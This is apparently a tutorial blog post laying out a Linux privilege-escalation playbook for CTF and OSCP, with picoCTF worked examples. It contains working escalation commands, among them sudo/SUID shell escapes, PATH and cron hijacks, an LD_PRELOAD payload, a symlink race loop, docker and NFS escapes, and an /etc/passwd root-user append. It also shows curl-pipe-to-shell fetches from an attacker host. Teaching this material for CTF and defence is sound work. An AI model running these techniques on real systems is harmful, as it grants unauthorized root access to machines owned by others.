May 7, 2026

Linux Privilege Escalation for CTF: The Patient Playbook

A decision-tree playbook for Linux privilege escalation in CTF and OSCP: enumeration, sudo, SUID, capabilities, PATH, cron, LD_PRELOAD with picoCTF receipts.

You just popped a shell. Now what?

You found the SQL injection. You uploaded the PHP web shell. You sent the buffer overflow and caught the reverse callback. Whatever it was, you have a shell on the box. The prompt blinks at you. id says www-data, or ctf-player, or some random low-privilege user. The flag is in /root/flag.txt.

Most CTF privesc guides hand you a wall of techniques right here. SUID this, capability that, kernel exploit the other thing. I am not going to do that. The wall is not the problem. The order is the problem.

Privesc rewards patience, not cleverness. The box will tell you how it wants to be rooted; you just have to read what it says.

OffSec's PEN-200 / OSCP exam page allocates 60% of the exam to "initial access and privilege escalation" across three standalone machines. The other 40% is Active Directory. If you sit the OSCP and you can pop a shell on every box but cannot escalate on two of them, you fail. People who pass the OSCP do not know more exotic tricks than people who fail. They just run the boring enumeration commands first, in the right order, and read the output.

That is the entire thesis of this post. Here is the order. Here is the output you are looking for. Here are nine real picoCTF challenges where each technique was the winning move. Skip ahead if you want, but the "Pick your reading path" section right below tells you which sections are worth your time depending on how new you are.

Note: This is the post I wish I had when I was stuck on my first HackTheBox box in 2020, staring at www-dataand refreshing GTFOBins for the fourth time. If you are stuck right now, the "60-second triage" card below is what to run.

The 60-second triage: what to run before anything else

Here is what I do every single time, on every single box, the moment I get a shell. It takes about 60 seconds and resolves maybe 70% of CTF privesc challenges before I have to think.

id # who am I, what groups am I in
sudo -l 2>/dev/null # what can I run as root
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
getcap -r / 2>/dev/null # binaries with capabilities
cat /etc/crontab /etc/cron.d/* 2>/dev/null # scheduled jobs
ls -la /etc/passwd /etc/shadow # are they world-writable?
uname -a; cat /etc/os-release # kernel and distro

That is it. Eight commands. Run them, copy the output into a scratch file, and read slowly. Most boxes broadcast their privesc path in the first three.

StepCommandWhy firstWhen it tells you nothing
1idGroup membership decides half the techniques. docker, lxd, disk, sudo, adm groups all skip the rest of this list.Boring uid=1000(user) means keep going.
2sudo -lThe cheapest possible win. NOPASSWD on any feature-rich binary collapses to root in one GTFOBins lookup."may not run sudo" or password prompt: skip to step 3.
3find / -perm -4000Any unusual SUID binary owned by root is a privilege escalation primitive waiting to happen.Only standard SUIDs (passwd, su, mount, ping): no SUID path on this box.
4getcap -r /A handful of capabilities (cap_setuid, cap_dac_read_search, cap_sys_admin) are equivalent to root.Empty output: capabilities are not the path.
5cat /etc/crontabA root cron job calling a writable script or unqualified binary is an instant escalation on the next tick.Only standard distro entries: no cron path.
6ls -la /etc/passwdWorld-writable /etc/passwd is rare but instant: append a line with a known password and su to it.Standard 644 root:root: not happening.
Key insight: If steps 1 through 6 all return boring output, you are in the bottom 30% of boxes where you actually need a real technique. That is when LinPEAS and the deeper sections of this post earn their keep. The triage is not a guarantee. It is a filter that saves you 20 minutes on the easy ones.

Pick your reading path

This post is long. You probably do not need all of it right now. Here is which sections to read depending on where you are.

First-time CTF privesc

You have a shell, you have never escalated before, and the OSCP is months away. Read the triage, then the "Sudo" section, then the "SUID and SGID" section. Skip everything else for now.

TriageSudoSUID

OSCP candidate

Read everything. The OSCP exam is breadth, not depth. Capabilities, PATH hijacking, cron, and LD_PRELOAD all show up regularly. You want each technique fluent enough to recognize on sight.

Allofit

I just need GTFOBins

You know what you are doing and you are mid-box. Jump straight to the triage card at the bottom. It groups the most common escapes by primitive (sudo, SUID, capability, cron) so you can lookup-and-go.

If you are brand new to the Linux command line itself, read the Linux CLI for CTF guide first. This post assumes you can navigate a filesystem, read files, and run commands without looking up the syntax.

Enumerate first, always (manual vs LinPEAS)

Every privesc starts with enumeration. The question is just whether you do it by hand or fire off a script. Both have a place. The trade-off is honest, not religious.

ApproachStrengthsWeaknessesWhen to reach for it
Manual checksFast on easy boxes. Trains your eye. Quiet (one or two syscalls per check).You will miss something on a hard box. Twenty minutes of typing.First. Always first.
LinPEASCatches everything you forgot. Color-codes by likelihood. Standard on OSCP.Loud (thousands of syscalls). Output is a wall. Detected by some hardening.After manual checks come up empty, or as a parallel sanity check.

The dropping-LinPEAS-on-target one-liner most people use is some variant of:

# Pull the latest release from peass-ng and run it in memory:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# Or if outbound HTTPS is blocked, host it locally and curl from there:
python3 -m http.server 8000 # on your attacker box, in PEASS dir
curl http://10.10.14.5:8000/linpeas.sh | sh # on the target

LinPEAS is maintained by Carlos Polop and the peass-ng project. It runs about 200 checks across SUID, sudo, capabilities, cron, kernel version, writable paths, environment variables, network configuration, and dozens more. The output is color-coded: red+yellow means almost certainly exploitable, red means probably, yellow means worth investigating, everything else is informational.

Warning: Do not skip manual enumeration just because LinPEAS exists. The OSCP exam restricts automated tools and you can fail the exam by leaning on them. Manual first builds the mental model; LinPEAS is the safety net.

A useful pattern from picoCTF 2023 chrono: before you escalate, check whether the flag is already readable. The challenge is named after cron and hints at scheduled jobs, but the actual flag sits in /challenge/metadata.json with mode 644. A quick find / -readable -name '*.json' 2>/dev/null finds it without any privesc at all.

Before you escalate, check what you can already read. CTF authors love putting the flag in a world-readable file just to see who skipped enumeration.

Sudo: the cheapest win

The single highest-yield command in Linux privesc is sudo -l. It prints the rules from /etc/sudoers that apply to your user. If anything in that output mentions NOPASSWD, your box is probably done.

sudo -l
# Output you want to see:
# User www-data may run the following commands on this host:
# (root) NOPASSWD: /usr/bin/nano

A NOPASSWD rule on any feature-rich binary is an entire privesc by itself. The binary does not have to be exotic. It just has to be able to spawn a shell, write a file, or read a file. Editors, pagers, scripting interpreters, find with -exec, awk, perl, ruby, less, man, vim, nano, emacs, even cat if the rule lets you point it at /root/flag.txt.

The catalog you want is GTFOBins. Maintained by Emilio Pinna and Andrea Cardaci, it documents the canonical escape for over 350 Unix binaries across sudo, SUID, capability, and restricted-shell contexts. Memorizing escapes is a waste of time. Bookmarking GTFOBins is not.

GTFOBins is the most important link in this post. If you internalize one thing, let it be: when you see a NOPASSWD entry, do not improvise, do not Google, just open gtfobins.org and search the binary name.

The sudo escape lookup table

Here are the escapes that come up most often in CTF. Every one of these is a one-line GTFOBins entry.

BinaryVectorEscapepicoCTF receipt
nanoEditor shell-outsudo nano, then Ctrl+R Ctrl+X, type reset; shabsolute-nano
emacsEditor terminalsudo emacs, then M-x term, run any command as rootsudo-make-me-a-sandwich
vimEx-mode shellsudo vim, then :!/bin/sh(generic, see GTFOBins)
less / manPager shell-outInside the pager, type !sh(generic, see GTFOBins)
find-exec primitivesudo find . -exec /bin/sh \; -quit(generic, see GTFOBins)
python / perl / rubyInterpreter spawnsudo python -c 'import os; os.system("/bin/sh")'(generic, see GTFOBins)
awkBEGIN system callsudo awk 'BEGIN {system("/bin/sh")}'(generic, see GTFOBins)
ALLThe literal jackpotsudo /bin/bashn0s4n1ty-1

Worked example: sudo emacs to root

The picoCTF 2026 challenge sudo-make-me-a-sandwich is the textbook case. You SSH in, run sudo -l, and see:

User ctf-player may run the following commands on challenge:
(root) NOPASSWD: /usr/bin/emacs

GTFOBins lists emacs under both sudo and suid. The interactive escape is M-x term, which spawns a full terminal emulator inside emacs. The shell that terminal launches inherits the parent process privileges, which when emacs is run via sudo means root.

sudo emacs
# Inside emacs, press Alt+X (M-x), type 'term', press Enter.
# At the terminal prompt:
id # uid=0(root) - you have root inside the term buffer
cat /root/flag.txt

When the box has no PTY, the non-interactive variant works just as well:

sudo emacs -Q --batch --eval '(with-temp-buffer (insert-file-contents "/root/flag.txt") (message "%s" (buffer-string)))'

Same idea on absolute-nano: nano has a Read-File mode (Ctrl+R) that, when toggled to Execute (Ctrl+X), pipes its argument through /bin/sh -c. Type reset; sh and you are root.

And on n0s4n1ty-1, the sudoers rule is the cartoonish version: (ALL) NOPASSWD: ALL. You upload a PHP web shell (covered in the file upload exploitation post), land as www-data, type sudo cat /root/flag.txt, and the box hands you the flag without a password prompt.

Tip: When sudo -l shows a rule with arguments (e.g. (root) NOPASSWD: /usr/bin/cat /var/log/*.log), look for path traversal and wildcard tricks. The shell expands the glob before sudo evaluates the match, so sudo cat /var/log/../../../root/flag.txt sometimes works against naive sudoers patterns.

SUID and SGID: the second-cheapest win

The set-user-ID (SUID) bit is a permission flag that makes a binary run with the privileges of its owner, not the user invoking it. A SUID binary owned by root runs as root no matter who runs it. SGID is the same idea for the group ID. Both are necessary for a few system utilities (passwd needs to modify /etc/shadow, ping needs raw sockets) and dangerous for everything else.

find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
find / -perm -6000 -type f 2>/dev/null # SUID + SGID

The output is mostly boring distro stuff: /usr/bin/passwd, /usr/bin/su, /usr/bin/sudo, /usr/bin/mount, /bin/ping. Those are expected. Anything else is suspicious.

Key insight: The mental filter: read every line of the SUID find output and ask "does this binary need to be SUID?" If the answer is no, it is your privesc path. A SUID /opt/whatever/some-helper is not normal. Open it, run strings on it, decompile it if you have to.

The three flavors of SUID exploit

SUID binaries fall into three buckets. Each gets a different attack:

  1. Standard binary in GTFOBins. If find, nmap,vim, tar, cp, or another well-known tool has its SUID bit set, look it up on GTFOBinsunder the "suid" column. The escape is usually one line.
  2. Custom binary that shells out. A SUID C program that calls system("ls") or execlp("ls", ...) is vulnerable to PATH hijacking (next section). Run strings on it and look for command names without leading slashes.
  3. Custom binary that does something complicated. A real bug in a real SUID program, e.g. an integer overflow, a TOCTOU race, an env-var trust bug. This is rare in CTF but happens. Treat it like any other binary exploitation target.

Worked example: Python sys.path hijack on a SUID script

The picoCTF 2023 challenge hijacking is bucket two with a Python flavor. The setup:

  • find / -perm -4000 2>/dev/null shows a SUID-root file at /usr/local/bin/some_script.py.
  • The script imports a module by name. Python resolves imports by walking sys.path left to right.
  • One of the early entries in sys.path(typically the script's own directory or the current working directory) is writable by you.

You drop a malicious module_name.pyin that writable directory. Python finds your file before the legitimate one and executes its top-level code with the script's effective UID, which is root.

# Find the SUID script and the imports it uses:
find / -perm -4000 2>/dev/null | xargs file 2>/dev/null | grep -i 'python\|script'
head /usr/local/bin/some_script.py
# Plant the malicious module in a directory that lands earlier in sys.path:
cat > /tmp/module_name.py <<'EOF'
import os
os.system('cat /root/flag.txt')
EOF
# Trigger the SUID script (cwd may need to be /tmp depending on the script):
cd /tmp && /usr/local/bin/some_script.py

The same shape works for any interpreted SUID script: Perl with @INC, Ruby with $LOAD_PATH, Node with require, even Bash with sourceon a relative path. The pattern is always "privileged process loads code from a search path; you control one entry on that path."

For the gentle version of the same lesson, see permissions: the file looks scary because it is owned by root, but it is world-readable. Always check before you escalate.

Linux capabilities: the small list that matters

Capabilities split the all-powerful root user into about 40 fine-grained privileges. Instead of granting a binary full root, you grant just "may bind low ports" or "may read any file regardless of permissions." In theory this is much safer than SUID. In practice, a small subset of capabilities are equivalent to root anyway.

getcap -r / 2>/dev/null # list every binary with capabilities set

The capabilities you care about for privesc:

CapabilityWhat it grantsHow to abuse
cap_setuidSet the process UID to anything, including 0.Equivalent to root. Any interpreter with this cap becomes a root shell: ./python -c 'import os;os.setuid(0);os.system("sh")'.
cap_dac_read_searchBypass file read permissions. Read any file regardless of mode.Read /etc/shadow, root's SSH keys, /root/flag.txt directly.
cap_dac_overrideBypass file write permissions too.Append a UID 0 user to /etc/passwd and su to it.
cap_sys_adminThe catch-all root capability. Mount, ptrace, namespace ops, and dozens more.Same as root for almost every practical purpose. GTFOBins lists escapes per binary.
cap_sys_ptraceTrace and inject code into any process.Inject a shellcode payload into a root process. Slightly more involved than the others but reliable.
cap_chown / cap_fownerChange ownership or override owner-only operations.Chown /etc/shadow to your user, then read it.

A common pattern in CTF: the box owner ran setcap cap_setuid+ep /usr/bin/python3 because they wanted Python to bind a privileged port. They forgot that cap_setuid also lets Python become root. The exploit is one line:

/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Warning: When getcap -r / is empty, capabilities are not the path. Move on. When it shows a binary you have never heard of, look it up on GTFOBinsunder the "capabilities" column.

PATH hijacking: when sloppy scripts call binaries by name

Linux resolves command names left-to-right through the PATH environment variable. When a privileged process calls md5sum or ls or service without a leading slash, it asks the OS to find that command in PATH. If you can write a same-named executable into a directory that lands earlier in PATH, your version runs instead.

The vulnerable pattern looks like this in C:

// Vulnerable: relies on PATH
system("md5sum /root/flag.txt");
 
// Safe: absolute path
system("/usr/bin/md5sum /root/flag.txt");

Or in Python or Bash scripts that call subprocess.run(["md5sum", ...]) or just md5sum filewithout qualifying the binary. Anywhere a privileged process trusts the user's PATH, you get to choose what runs.

Worked example: hijacking md5sum

The picoCTF 2025 challenges hash-only-1 and hash-only-2 are the canonical receipts. A SUID binary called flaghasher shells out with /bin/bash -c 'md5sum /root/flag.txt'. The bare md5sum (no leading slash) means PATH wins. You drop a fake md5sum in your home directory and put . first in PATH:

echo '/bin/cat /root/flag.txt' > md5sum
chmod +x md5sum
export PATH=.:$PATH
echo $PATH | tr ':' '\n' | head -3 # verify '.' is first
./flaghasher
# picoCTF{...}
Warning: Common bug: your fake md5sum calls md5sum somefile as a fallback. Because . is first in PATH, that call resolves to your own script and infinite-loops. Either use absolute paths inside the fake (/bin/cat /root/flag.txt), or skip any reference to md5sum inside your script entirely.

The hash-only-2 variant adds a wrinkle: the SSH login shell is restricted bash (rbash), which blocks cd, slashes, and PATH edits. Type bash (not exec bash) to drop into an unrestricted child shell while keeping the SSH session alive. Then continue with the PATH hijack. The full restricted-shell escape catalog is on GTFOBins under "rbash."

PATH hijacking is the single most common SUID privesc pattern in CTF. Whenever you see a custom SUID binary, run strings on it and look for unqualified command names. They are everywhere.

Cron jobs: the patient privesc

Cron is the Unix task scheduler. It reads crontab files (plain text tables of time + command pairs) and runs the commands at the scheduled times, usually as root. A cron job is a privesc primitive whenever the script it runs is writable by you, the script calls binaries by name (PATH hijack), or the cron line itself uses wildcards in a way you can manipulate.

cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
cat /etc/cron.d/* 2>/dev/null
crontab -l # current user's jobs

A typical bad cron line:

# /etc/crontab
* * * * * root /opt/cleanup/run.sh

If /opt/cleanup/run.sh is world-writable, you append your payload and wait one minute:

ls -la /opt/cleanup/run.sh
# -rwxrwxrwx 1 root root (yikes)
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/cleanup/run.sh
# Wait one minute, then:
/tmp/rootbash -p
id # uid=1000 euid=0(root)

When you cannot find the cron job in /etc/crontab but you suspect one is running (CPU spikes every minute, files appearing and disappearing in /tmp), use pspy by Dominic Breuker. It snoops on procfs to log every process creation in real time, including ones you cannot normally see.

# Drop pspy on the target (no root needed):
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64
./pspy64 # watch for periodic root jobs

Cron-adjacent on systemd-based distros: systemctl list-timers --all shows systemd timers, which are the modern replacement for cron and follow the same threat model. Always check both.

For a CTF where the challenge name screams "cron!" but the actual flag is in a world-readable file the cron job dropped, see chrono. The lesson is the same one as "permissions": enumerate readable files first.

Tip: Wildcard cron jobs deserve special attention. A line like tar -czf /backup/* /home/user looks innocent but tar with a wildcard is exploitable: drop files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh in /backup/ and tar interprets them as flags, executing your shell as root.

Library and environment hijacking

Privileged processes load code from many places: shared libraries, language module paths, environment-controlled hooks. If any of those load paths is writable by you, you get code execution at the privileged level.

LD_PRELOAD and LD_LIBRARY_PATH

The dynamic linker (ld.so) honors several environment variables. Two of them are privesc-relevant:

  • LD_PRELOAD: a colon-separated list of .so files to loadbefore any other library. You can intercept any function the target binary calls.
  • LD_LIBRARY_PATH: a colon-separated list of directories to search for shared libraries before the system defaults.

Both are stripped by sudo and SUID binaries by default (the kernel sets the AT_SECURE auxv flag). The privesc only works when:

  1. A sudoers rule explicitly allows them via env_keep+="LD_PRELOAD" or env_keep+="LD_LIBRARY_PATH" (the misconfiguration).
  2. The target is not SUID/SGID (e.g. an explicit sudo call without the stripping behavior, or a setcap binary that does not also have AT_SECURE).

When the conditions hold, the exploit is a five-line C file:

// preload.c
#include <stdio.h>
#include <stdlib.h>
void _init() {
setuid(0); setgid(0);
system("/bin/bash -p");
exit(0);
}
 
// compile and run:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so any-allowed-binary

PYTHONPATH and friends

Every interpreter has its own version of LD_LIBRARY_PATH:

  • Python: PYTHONPATH, plus implicit sys.path[0]from the script's directory.
  • Perl: PERL5LIB and @INC.
  • Ruby: RUBYLIB and $LOAD_PATH.
  • Node.js: NODE_PATH and the node_modules resolution chain.

The picoCTF 2023 hijacking challenge is a textbook PYTHONPATH-style exploit (technically sys.path[0], not the env var, but the same shape). When you write a payload script in Python, see the Python for CTF guide.

Key insight: Anywhere a privileged process loads code by name from a search path, ask "can I write to one of those directories?" The answer is surprisingly often yes.

Race conditions and TOCTOU

A Time-Of-Check Time-Of-Use (TOCTOU)bug is when a program checks a condition and acts on it as two separate operations, but the underlying resource can change in between. The classic example is a SUID program that checks "does this user own this file?" with access(), then opens the file with open(). If you can swap the path between the two syscalls (typically by flipping a symlink), the check passes against your file but the open returns root's file.

// Vulnerable C pattern (CWE-367):
if (access(argv[1], R_OK) == 0) {
int fd = open(argv[1], O_RDONLY); // race window here
read(fd, buf, sizeof(buf));
write(1, buf, ...);
}

The picoCTF 2023 challenge tic-tac is exactly this shape. The exploit runs two concurrent loops:

# Setup: a dummy you own, and a symlink that flips between dummy and /flag
echo 'dummy' > /tmp/dummy.txt
ln -sf /tmp/dummy.txt /tmp/race_link
 
# Switcher loop (pinned to a different CPU for true parallelism):
taskset -c 1 bash -c 'while true; do
ln -sf /tmp/dummy.txt /tmp/race_link
ln -sf /flag /tmp/race_link
done' &
 
# Attacker loop: hammer the SUID binary until the timing aligns
for i in $(seq 1 100000); do
out=$(./txtreader /tmp/race_link 2>/dev/null)
case "$out" in *picoCTF*) echo "$out"; break;; esac
done

The ln -sf implementation calls rename(2) under the hood, which is documented atomic, so the swap never leaves the path missing. The race window is the gap between access() and open(), which is typically 10 to 100 microseconds. With both loops running at tens of thousands of iterations per second, a 1-in-1000 hit rate lands the flag in seconds.

Note: TOCTOU bugs are CWE-367. The correct fix is to use file-descriptor-based syscalls (openat(), O_NOFOLLOW) and validate after opening rather than before. CTF sees this pattern occasionally; real-world it shows up in package managers, backup utilities, and cron-driven automation.

The long tail: groups, NFS, kernels

When the standard playbook turns up nothing, here are the techniques that show up rarely but win when they do.

Group abuse

Some groups are root-equivalent. If your id output shows membership in any of these, that is your privesc:

  • docker: docker run -v /:/mnt --rm -it alpine chroot /mnt sh mounts the host root and gives you a root shell.
  • lxd / lxc: similar, via launching a privileged container with the host filesystem mounted.
  • disk: read or write any block device, including the partition holding /etc/shadow.
  • video or shadow: read shadow file contents directly (depending on distro).
  • adm: read system logs, useful for credential harvesting.

NFS no_root_squash

When the box exports a directory over NFS with the no_root_squash option, a remote client mounting that share preserves UID 0 across the network. From your attacker box:

showmount -e target
mount -t nfs target:/exported /mnt
# Drop a SUID-root binary into the share:
cp /bin/bash /mnt/rootbash
chmod +s /mnt/rootbash
# Back on the target:
/exported/rootbash -p # uid=0

World-writable /etc/passwd

Rare but instant. Append a line with a known password hash and a UID of 0:

ls -la /etc/passwd
# -rw-rw-rw- (only if the box is broken)
openssl passwd -1 hunter2
echo 'hax:$1$xxxx$xxxxxxxxxxxxxxxxxxxxx.:0:0::/root:/bin/bash' >> /etc/passwd
su hax
# Password: hunter2
id # uid=0(root)

Kernel exploits (the last resort)

When everything else fails, an outdated kernel might be vulnerable to a public local privesc. Run uname -a, check the version against known CVEs, and try a public PoC. The standard automated tool is linux-exploit-suggester, which compares your kernel and distro against a CVE database.

Warning: Kernel exploits are the privesc of last resort for a reason. They are loud, they sometimes panic the box, they fail more often than they succeed, and OSCP graders frown on them when a misconfiguration was the intended path. Try every other section of this post before reaching for a kernel CVE.

The triage card

Print this. Tape it to your monitor. The whole post compresses into one lookup.

PrimitiveDetection commandExploit shapepicoCTF receipt
Sudo NOPASSWDsudo -lGTFOBins lookup; one-liner per binarysandwich nano n0s4n1ty-1
SUID binaryfind / -perm -4000 2>/dev/nullGTFOBins suid column, or sys.path / PATH hijackhijacking
Capabilitiesgetcap -r /cap_setuid → setuid(0); cap_dac_read_search → read /root(generic)
PATH hijackstrings binary | grep -v '/'Drop fake binary, prepend . to PATHhash-only-1 hash-only-2
Cron jobcat /etc/crontab; pspyWritable script: append payload. Wildcard: weaponize tar/rsyncchrono
LD_PRELOADsudo -l | grep env_keepCompile shared object; sudo LD_PRELOAD=...(generic)
TOCTOU raceltrace ./suid /tmp/xSymlink swap loop + retry looptic-tac
Group: dockerid | grep dockerdocker run -v /:/mnt alpine chroot /mnt sh(generic)
NFS no_root_squashshowmount -e targetMount remotely, drop SUID root binary(generic)
World-writable passwdls -la /etc/passwdAppend UID 0 line; su to it(generic)
Kernel CVEuname -a; linux-exploit-suggester.shPublic PoC; last resort(generic)
World-readable flagfind / -readable -name 'flag*'No privesc needed; just catpermissions chrono

What to read next

Privesc lives at the end of an exploit chain. Each of these guides walks the phase before:

Privesc is patient work. The box will tell you how it wants to be rooted; you just have to read what it says.

External references used in this post: GTFOBins (Pinna and Cardaci), PEASS-ng / LinPEAS (Polop), pspy (Breuker), linux-exploit-suggester, OffSec PEN-200 / OSCP, rename(2), and CWE-367.